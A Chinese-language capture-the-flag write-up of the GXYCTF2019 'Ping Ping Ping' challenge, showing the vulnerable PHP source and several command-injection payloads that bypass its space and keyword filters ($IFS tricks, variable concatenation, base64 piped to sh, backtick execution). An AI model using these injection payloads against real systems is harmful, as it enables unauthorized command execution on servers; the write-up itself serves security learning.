记 [GXYCTF2019]Ping Ping Ping 1

222 阅读1分钟

打开题目,页面显示/?ip= 应该是一个传参的提示。

结合题目的ping。尝试?ip=127.0.0.1

果然是linux的命令执行,尝试执行其他命令

?ip=127.0.0.1 ;ls

成功执行

目标是flag.php ?ip=127.0.0.1 ;cat flag.php

提示/?ip= fxck your space!

判断目标网站是对空格进行了过滤,我们可以使用一些方法代替空格来起到分割作用

注:%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以

但这里存在一些过滤{IPS}失效,多次尝试$IFS$9可以 (具体可以查看index.php文件中的过滤规则)

构造?ip=127.0.0.1;cat$IFS$1flag.php

提示 /?ip= fxck your flag!

应该是对flag字样进行了过滤

不妨来看看他进行了哪些过滤,构造?ip=127.0.0.1;cat$IFS$1index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

 不难看出对flag进行的正则匹配。因此诸如fl\ag之类的写法就行不通了。

 

几种解题思路

  1. 通过变量实现字符串拼接

         构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php  即可获取flag

          注:此处将变量ab的位置互换是为了绕过字符串匹配

     

       2.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)

           构造/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

           注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash

 

        3.内联执行 (真正的大佬操作,给跪了)

          构造 /?ip=127.0.0.1;cat$IFS$9`ls`

          注:内联,就是将反引号内命令的输出作为输入执行。

          什么正则都是浮云,可能这就是大佬的世界把。